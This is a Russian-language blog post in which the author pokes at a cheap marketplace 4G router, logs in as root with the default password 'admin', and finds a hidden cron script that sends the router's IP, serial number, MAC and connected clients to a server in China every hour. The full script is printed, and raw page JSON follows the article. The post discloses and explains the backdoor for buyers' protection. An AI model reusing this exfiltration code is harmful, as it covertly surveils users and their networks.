История одного роутера с Озона

Бэкдоры, пердолинг, пентестинг, общение с Кабан Кабанычем и опасности дешевых ноу-нейм роутеров с маркетплейсов. Все это ждет вас под катом.

Виновник торжества
Виновник торжества

Так случилось, что в моей жизни появился гараж, идеально подходящий для реализации моей давней идеи об организации чилл-пространства. Удалось реализовать многие хотелки. Кроме одной: доступ в интернет.
Ни один провайдер не согласился оформлять подключение моего помещения на физическое лицо. Все ссылалась на то, что помещение нежилое, а значит только договор с юр.лицом могут оформить. Ну и еще отнекивались, что "нет технической возможности", хотя ГСК находится прям в самом центре моего подмосковного мухосранска на 150к человек населения.

А интернет хотелось. Хотя бы для подключения умного дома и камеры видеонаблюдения.

Поэтому с озона был заказан 4G роутер под гордым названием "R300 PRO 4G WI FI" (что бы это не значило).

Данный экземпляр роутеростроения был успешно получен на ближайшем ПВЗ, установлен в гараже, включен в сеть и настроен. И все было бы хорошо, но система мне казалась довольно знакомой.
Luci. Вся веб-морда работала на Luci, а это очень популярный веб-интерфейс для OpenWRT.
Я уже радостно думаю, что стал обладателем роутера на OpenWRT, прикидываю, как я его интегрирую в свою домашнюю сеть, подниму ssh-туннели и буду баловаться прочими радостями открытой системы для роутера.

Ковыряю я веб-морду и понимаю, что что-то она подозрительно урезанная. Банально, даже нет настроек LTE модуля, интерфейса для смс, IMEI и TTL (кто заморачивался с раздачей мобильного интернета, тот поймет зачем это все надо)...

История одного роутера с Озона

С лицом Фрайа я открываю termux на телефоне и с помощью nmap сканирую популярные порты.

nmap 192.168.1.1
Так так так, ооокак
Так так так, ооокак

И вижу я 22 порт, на котором работает ssh.
Пробую подключиться с данными от веб-морды, но меня ждет облом. Пробую дефолтный пароль от вайфая - тоже облом.

История одного роутера с Озона

Тут вспоминаю, что краем глаза я видел, как в вопросах о товаре продавец писал:

Пишите в личку, скину инструкцию.

Собственно, пошел я докапываться до истины в личку Кабан Кабаныча. Но, Кабан Кабаныч сначала просто темнил, а потом вообще про "агентов", "соответствующие органы" и "проверки" начал выдавать. Не хватило только тезиса про дроны, пятую колонну и госдеп.
Предлагаю с его перлами ознакомиться на скриншотах ниже.

Моей реакцией было что-то вроде:

А, вы, Кабан Кабаныч, не охуели часом?

Спойлер: Кабан Кабаныч - охуел

Еще Кабан Кабаныч меня заблокировал в чате. Ну и правильно. Умников тут развелось, ssh им подавай, полный доступ. Вот тебе, с барского плеча девайс, пользуйся, не обляпайся.

Тут уже вопрос стал чисто принципиальным. НАДО ЛОМАТЬ ЭТОТ РОУТЕР!

Поставил скачиваться дистр Kali linux, потому что на нем хорошо работает Metasploit, а в нем есть хорошие эксплойты для ssh, закрытого алгоритмом ssh-rsa.

Пока Kali качался, мне в голову пришла мысль, что я не пробовал под рутом зайти. Поэтому я взял свой steam deck и попробовал залогиниться под рутом.
И что вы думаете? Третья попытка входа, я ввожу пароль "admin" и попадаю в систему

История одного роутера с Озона

Реально. Юзернейм: "root", пароль: "admin"

Буквально я
Буквально я

Сразу же меняю пароль командой "passwd" и закрываю 22 и 23 порт из вне

sudo iptables -A INPUT -p tcp --dport 22 -j DROP sudo iptables -A INPUT -p tcp --dport 23 -j DROP sudo service iptables save

Затем просто ковыряю систему, смотрю какие спеки у железки, какие пакеты у нас установлены и прочие красноглазые приколы.

И тут я натыкаюсь на один интересный скрипт в файловой системе. Находочку я нашел в crontab, замаскированную под исполняемый файл /bin/infodevstation, который является обычным bash-скриптом

Вашему вниманию представляется то, что Кабан Кабаныч в коллаборации с Партия Китай, так тщательно от меня скрывал за паролем "admin".

```bash #!/bin/sh SERIAL_NUM="HG2509271****" TARGET_URL="http://web-app-fargate-nlb-internal-a91fd47048eb1ef0.elb.cn-northwest-1.amazonaws.com.cn/vndr/85hJR74/867873043597331/info/r300/" WGET_CMD="/usr/bin/wget/ CAT_CMD="/bin/cat" NC_CMD="/usr/bin/nc" SED_CMD="/bin/sed" WC_CMD="/usr/bin/wc" HOSTNAME=$($WGET_CMD -qO- "$TARGET_URL" | "$SED_CMD" -r 's/https?:\/\/([^/]+).*/\1/' | "$SED_CMD" -e 's/:.*//') PORT=80 IP_ADDRESS=$($WGET_CMD -qO- ifconfig.co) if [ -z "$IP_ADDRESS" ]; then exit 1 fi ROUTER_MAC_IFACE="br-lan" ROUTER_MAC=$($CAT_CMD "/sys/class/net/$ROUTER_MAC_IFACE/address" 2>/dev/null) if [ -z "$ROUTER_MAC" ]; then exit 1 fi CLIENTS_JSON_PART="" FIRST_CLIENT=1 OLD_IFS="$IFS" IFS=#39;\n' LEASES_DATA=$($CAT_CMD /tmp/dhcp.leases 2>/dev/null) for line in $LEASES_DATA; do set -- $line mac_addr="$2" ip_addr="$3" if [ -n "$mac_addr" ] && [ -n "$ip_addr" ] && [ "$mac_addr" != "$ROUTER_MAC" ]; then if [ "$FIRST_CLIENT" -eq 1 ]; then CLIENTS_JSON_PART="{\"ip\":\"$ip_addr\", \"mac\":\"$mac_addr\"}" FIRST_CLIENT=0 else CLIENTS_JSON_PART="$CLIENTS_JSON_PART,{\"ip\":\"$ip_addr\", \"mac\":\"$mac_addr\"}" fi fi done IFS="$OLD_IFS" JSON_PAYLOAD=$(printf '{ "ip": "%s", "serial_num": "%s", "router_mac": "%s", "clients": [ %s ] }' "$IP_ADDRESS" "$SERIAL_NUM" "$ROUTER_MAC" "$CLIENTS_JSON_PART") CONTENT_LENGTH=$(echo -n "$JSON_PAYLOAD" | "$WC_CMD" -c) HTTP_REQUEST="POST $(echo "$TARGET_URL" | "$SED_CMD" -r 's/https?:\/\/[^/]+//') HTTP/1.1\r\n" HTTP_REQUEST="${HTTP_REQUEST}Host: $HOSTNAME\r\n" HTTP_REQUEST="${HTTP_REQUEST}Content-Type: application/json\r\n" HTTP_REQUEST="${HTTP_REQUEST}Content-Length: $CONTENT_LENGTH\r\n" HTTP_REQUEST="${HTTP_REQUEST}Connection: close\r\n" HTTP_REQUEST="${HTTP_REQUEST}\r\n" HTTP_REQUEST="${HTTP_REQUEST}${JSON_PAYLOAD}" echo -ne "$HTTP_REQUEST" | "$NC_CMD" "$HOSTNAME" "$PORT" >/dev/null 2>&1 exit 0 ```

Уж не знаю, сколько Кабан Кабаныч получил миска рис и кошка жена за такие мувы, но, честно скажу, это пиздец. Тем более такое продавать. И тем более общаться так, как общается наш Кабан Кабаныч.

Что же делает данный скрипт:

  • получает наш внешний ip-адрес GET-запросом с ifconfig.co
  • Получает мак-адрес роутера
  • Получает таблицу dhcp-клиентов с их мак-адресами
  • Формирует json, в котором содержится ip-адрес, серийный номер роутера, мак-адрес и список клиентов, которые подключены к роутеру.
  • Делает POST-запрос с этом json на очень интересный адрес амазоновской ноды, расположенной в Поднебесной
  • И, самое интересное, скрипт стреляет этими данными каждый час

Скажу очевидную вещь, но, это не нормально. Не нормально продавать подобное оборудование людям. Это просто опасно для использования.

Вот какой процент обывателей вообще даже задумается о существовании такого "функционала" в их роутере? Работает и работает же, инет есть и хорошо, только деньгу на симку успевай закидывать.
А вот с какими целями данные отправляются куда надо и для чего они могут быть использованы - вопрос очень хороший, но он не останется без ответа.

Известно только одно, после публикации данного материала, товарищ Xi изымет у меня кошку-жену и второй миска рис. Мой social credit будет сильно понижен.

История одного роутера с Озона

После успешного обезвреживания шпиона, который проник в мой гараж, я отправился играть на своем стим-деке и пить пивко.

Честно, я не знаю, какие выводы из этой истории надо сделать. Возможно, что стоит проверять все сетевое оборудование, которое вы покупаете? Или то, что если цена на товар ниже рынка, значит товаром становится его покупатель?

Думайте. Подписаться. Поздняков.

343
38
29
9
8
4
3
2
188 комментариев
\\n'\nLEASES_DATA=$($CAT_CMD /tmp/dhcp.leases 2\u003E/dev/null)\n\nfor line in $LEASES_DATA; do\n set -- $line\n mac_addr=\"$2\"\n ip_addr=\"$3\"\n\n if [ -n \"$mac_addr\" ] && [ -n \"$ip_addr\" ] && [ \"$mac_addr\" != \"$ROUTER_MAC\" ]; then\n if [ \"$FIRST_CLIENT\" -eq 1 ]; then\n CLIENTS_JSON_PART=\"{\\\"ip\\\":\\\"$ip_addr\\\", \\\"mac\\\":\\\"$mac_addr\\\"}\"\n FIRST_CLIENT=0\n else\n CLIENTS_JSON_PART=\"$CLIENTS_JSON_PART,{\\\"ip\\\":\\\"$ip_addr\\\", \\\"mac\\\":\\\"$mac_addr\\\"}\"\n fi\n fi\ndone\nIFS=\"$OLD_IFS\"\n\nJSON_PAYLOAD=$(printf '{\n \"ip\": \"%s\",\n \"serial_num\": \"%s\",\n \"router_mac\": \"%s\",\n \"clients\": [ %s ]\n}' \"$IP_ADDRESS\" \"$SERIAL_NUM\" \"$ROUTER_MAC\" \"$CLIENTS_JSON_PART\")\n\nCONTENT_LENGTH=$(echo -n \"$JSON_PAYLOAD\" | \"$WC_CMD\" -c)\n\nHTTP_REQUEST=\"POST $(echo \"$TARGET_URL\" | \"$SED_CMD\" -r 's/https?:\\/\\/[^/]+//') HTTP/1.1\\r\\n\"\nHTTP_REQUEST=\"${HTTP_REQUEST}Host: $HOSTNAME\\r\\n\"\nHTTP_REQUEST=\"${HTTP_REQUEST}Content-Type: application/json\\r\\n\"\nHTTP_REQUEST=\"${HTTP_REQUEST}Content-Length: $CONTENT_LENGTH\\r\\n\"\nHTTP_REQUEST=\"${HTTP_REQUEST}Connection: close\\r\\n\"\nHTTP_REQUEST=\"${HTTP_REQUEST}\\r\\n\"\nHTTP_REQUEST=\"${HTTP_REQUEST}${JSON_PAYLOAD}\"\n\necho -ne \"$HTTP_REQUEST\" | \"$NC_CMD\" \"$HOSTNAME\" \"$PORT\" \u003E/dev/null 2\u003E&1\n\nexit 0\n```","lang":""}},{"type":"text","cover":false,"hidden":false,"anchor":"","data":{"text":"\u003Cp\u003EУж не знаю, сколько Кабан Кабаныч получил миска рис и кошка жена за такие мувы, но, честно скажу, это пиздец. Тем более такое продавать. \u003Cb\u003EИ тем более общаться так, как общается наш Кабан Кабаныч.\u003C/b\u003E\u003C/p\u003E"}},{"type":"text","cover":false,"hidden":false,"anchor":"","data":{"text":"\u003Cp\u003EЧто же делает данный скрипт:\u003C/p\u003E"}},{"type":"list","cover":false,"hidden":false,"anchor":"","data":{"items":["получает наш внешний ip-адрес GET-запросом с ifconfig.co","Получает мак-адрес роутера","Получает таблицу dhcp-клиентов с их мак-адресами","Формирует json, в котором содержится ip-адрес, серийный номер роутера, мак-адрес и список клиентов, которые подключены к роутеру.","Делает POST-запрос с этом json на очень интересный адрес амазоновской ноды, расположенной в Поднебесной","\u003Cb\u003EИ, самое интересное, скрипт стреляет этими данными каждый час\u003C/b\u003E"],"type":"UL"}},{"type":"header","cover":false,"hidden":false,"anchor":"","data":{"style":"h2","text":"Скажу очевидную вещь, но, это не нормально. Не нормально продавать подобное оборудование людям. Это просто опасно для использования."}},{"type":"text","cover":false,"hidden":false,"anchor":"","data":{"text":"\u003Cp\u003EВот какой процент обывателей вообще даже задумается о существовании такого \"функционала\" в их роутере? Работает и работает же, инет есть и хорошо, только деньгу на симку успевай закидывать.\u003Cbr /\u003EА вот с какими целями данные отправляются куда надо и для чего они могут быть использованы - вопрос очень хороший, но он не останется без ответа.\u003C/p\u003E"}},{"type":"text","cover":false,"hidden":false,"anchor":"","data":{"text":"\u003Cp\u003E\u003Cb\u003EИзвестно только одно, после публикации данного материала, товарищ Xi изымет у меня кошку-жену и второй миска рис. Мой social credit будет сильно понижен.\u003C/b\u003E\u003C/p\u003E"}},{"type":"delimiter","cover":false,"hidden":false,"anchor":"","data":{"type":"default"}},{"type":"media","cover":false,"hidden":false,"anchor":"","data":{"items":[{"title":"","image":{"type":"image","data":{"uuid":"31b5df5f-5b87-5626-b06b-5bb1286f105f","width":2560,"height":1440,"size":681339,"type":"jpg","color":"7b633e","hash":"","external_service":[],"base64preview":"/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAUDBAQEAwUEBAQFBQUGBwwIBwcHBw8LCwkMEQ8SEhEPERETFhwXExQaFRERGCEYGh0dHx8fExciJCIeJBweHx7/2wBDAQUFBQcGBw4ICA4eFBEUHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh7/wAARCAAKAAoDASEAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAABgEF/8QAIxAAAQIFBAMBAAAAAAAAAAAAAQIDAAQFESEGEjEyE3GBkf/EABYBAQEBAAAAAAAAAAAAAAAAAAUCA//EAB8RAAICAgEFAAAAAAAAAAAAAAECAxEAMQQSEyEi4f/aAAwDAQACEQMRAD8AzNTVmUDEsA015X20Jbscbttzf4DBw1+cSSlHUYGBxAcUipEpivqI9r1vxWJlSzt3Koa+5dXpSKVMgAAIbBTjj1AMOOW7q/Y146ijkSE5/9k="}}}]}},{"type":"text","cover":false,"hidden":false,"anchor":"","data":{"text":"\u003Cp\u003EПосле успешного обезвреживания шпиона, который проник в мой гараж, я отправился играть на своем стим-деке и пить пивко.\u003C/p\u003E"}},{"type":"text","cover":false,"hidden":false,"anchor":"","data":{"text":"\u003Cp\u003EЧестно, я не знаю, какие выводы из этой истории надо сделать. Возможно, что стоит проверять все сетевое оборудование, которое вы покупаете? Или то, что если цена на товар ниже рынка, значит товаром становится его покупатель?\u003C/p\u003E"}},{"type":"text","cover":false,"hidden":false,"anchor":"","data":{"text":"\u003Cp\u003E\u003Ci\u003EДумайте. Подписаться. Поздняков.\u003C/i\u003E\u003C/p\u003E"}}],"summaryContent":null,"isExistSummaryContent":true,"warningFromEditor":null,"warningFromEditorTitle":null,"counters":{"comments":188,"favorites":218,"reposts":0,"views":40046,"hits":14877,"reads":null,"online":0},"dateFavorite":0,"hitsCount":14877,"isCommentsEnabled":true,"isLikesEnabled":true,"isRemovedByUserRequest":false,"isFavorited":false,"isPinned":false,"repostId":null,"repostData":null,"subscribedToTreads":false,"isEditorial":false,"isAudioAvailable":true,"audioUrl":null,"isAudioAvailableToGenerate":false,"commentEditor":{"enabled":true,"who":null,"text":"","until":null,"reason":null,"type":"everybody"},"isBlur":false,"isPublished":true,"isDisabledAd":false,"withheld":[],"ogTitle":null,"ogDescription":"История роутера R300 PRO 4G, бэкдоры, пентестинг, общение с Кабан Кабанычем, проблемы с дешевой техникой. Подмосковье, интернет в гараже.","url":"https://dtf.ru/flood/4558927-opasnosti-deshevyh-routerov-s-ozona","author":{"id":538373,"name":"CYBERBIBA","nickname":null,"description":"Диджей, айтишник, монтажник, долбоклюй. Я вот тут: https://vakarian.webiste","uri":"","avatar":{"type":"image","data":{"uuid":"713f26bf-7f77-5052-9bf9-460fd82e3420","width":640,"height":640,"size":65259,"type":"jpg","color":"271e3b","hash":"0f0f0f171718f000","external_service":[]}},"cover":{"cover":{"type":"image","data":{"uuid":"f58bebd1-46ce-545f-928a-6ac28739132a","width":1920,"height":1080,"size":505916,"type":"png","color":"09070f","hash":"","external_service":[]}},"cover_y":57},"achievements":[{"title":"Год на DTF","code":"registration_1_year","description":"Первый год с DTF. Получена 2 июня 2025.","previewUuid":"d6655520-3ebc-52c3-8b92-696b019b5788","formats":{"glb":"https://static.dtf.ru/achievements/egg-01.glb","usdz":"https://static.dtf.ru/achievements/egg-01.usdz"},"viewData":{"contentColor":"#1F97D4","textMaxWidth":0.62890625,"textX":0.5,"textY":0.6943359375,"logoX":0.5,"logoY":0.818359375,"logoXNoText":0.5,"logoYNoText":0.6865234375},"id":1332106,"userId":538373,"count":0,"shareImage":"https://api.dtf.ru/achievements/share/1332106"}],"lastModificationDate":1767288710,"isSubscribed":false,"isSubscribedToNewPosts":false,"isMuted":false,"isAvailableForMessenger":true,"badgeId":null,"isDonationsEnabled":false,"isPlusGiftEnabled":true,"isUnverifiedBlogForCompanyWithoutPro":false,"isRemovedByUserRequest":false,"isFrozen":false,"isDisabledAd":false,"isPlus":false,"isVerified":false,"isPro":false,"yandexMetricaId":null,"badge":null,"isOnline":false,"tgChannelShortname":null,"isUnsubscribable":true,"type":1,"subtype":"personal_blog"},"subsite":{"id":64955,"name":"Офтоп","description":"Здесь можно писать о чём угодно, что касается основных тематик DTF и соответствует интересам пользователей сайта, но по каким то причинам для этого нет места.","uri":"/flood","avatar":{"type":"image","data":{"uuid":"097c16c9-4459-5f8d-9da6-ce8e76831f3e","width":0,"height":0,"size":0,"type":"jpg","color":"","hash":"","external_service":[]}},"cover":{"type":"image","data":{"uuid":"21f3ab3a-54ca-38fe-da27-2b12774800cc","width":1840,"height":1792,"size":1887091,"type":"gif","color":"acca6d","hash":"","external_service":[],"duration":0}},"lastModificationDate":1663227793,"isSubscribed":false,"isSubscribedToNewPosts":false,"isMuted":false,"isAvailableForMessenger":false,"isDisabledAd":false,"nickname":"flood","isUnsubscribable":true,"badge":null,"badgeId":null,"isDonationsEnabled":false,"isOnline":false,"isPlus":false,"isUnverifiedBlogForCompanyWithoutPro":false,"isVerified":false,"isRemovedByUserRequest":false,"isFrozen":false,"isPro":false,"type":2,"subtype":"community"},"reactions":{"counters":[{"id":1,"count":343},{"id":22,"count":38},{"id":6,"count":29},{"id":2,"count":9},{"id":4,"count":8},{"id":24,"count":4},{"id":9,"count":3},{"id":40,"count":2}],"reactionId":0},"isNews":false,"source":null,"clusters":[],"donations":{"amount":0,"isDonated":false},"commentsSeenCount":null,"keywords":[],"media":{"type":"image","data":{"uuid":"e688d6b6-9589-58bd-bd85-914e88f244ae","width":1280,"height":720,"size":152948,"type":"jpg","color":"8c605c","hash":"","external_service":[],"base64preview":"/9j/4AAQSkZJRgABAQEASABIAAD/2wBDAAQDAwQDAwQEAwQFBAQFBgoHBgYGBg0JCggKDw0QEA8NDw4RExgUERIXEg4PFRwVFxkZGxsbEBQdHx0aHxgaGxr/2wBDAQQFBQYFBgwHBwwaEQ8RGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhr/wAARCAAKAAoDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAABwMG/8QAIhAAAQMEAQUBAAAAAAAAAAAAAgEEEQADBSFRBgcSIjFB/8QAFQEBAQAAAAAAAAAAAAAAAAAABQb/xAAbEQACAgMBAAAAAAAAAAAAAAABAgMRAAShEv/aAAwDAQACEQMRAD8AOHXdzNYNvm8FlWR3zf30IHAEojKoM/kLtOftJWI6jK1iWIXHQIYt7aEkztBSsVaRDY+6eUgMzurhoBjhKL2ys/kVVdyqjiKMzE3fM//Z"}},"customCover":null,"robotsTag":null,"categories":[6],"isAnonymized":true}};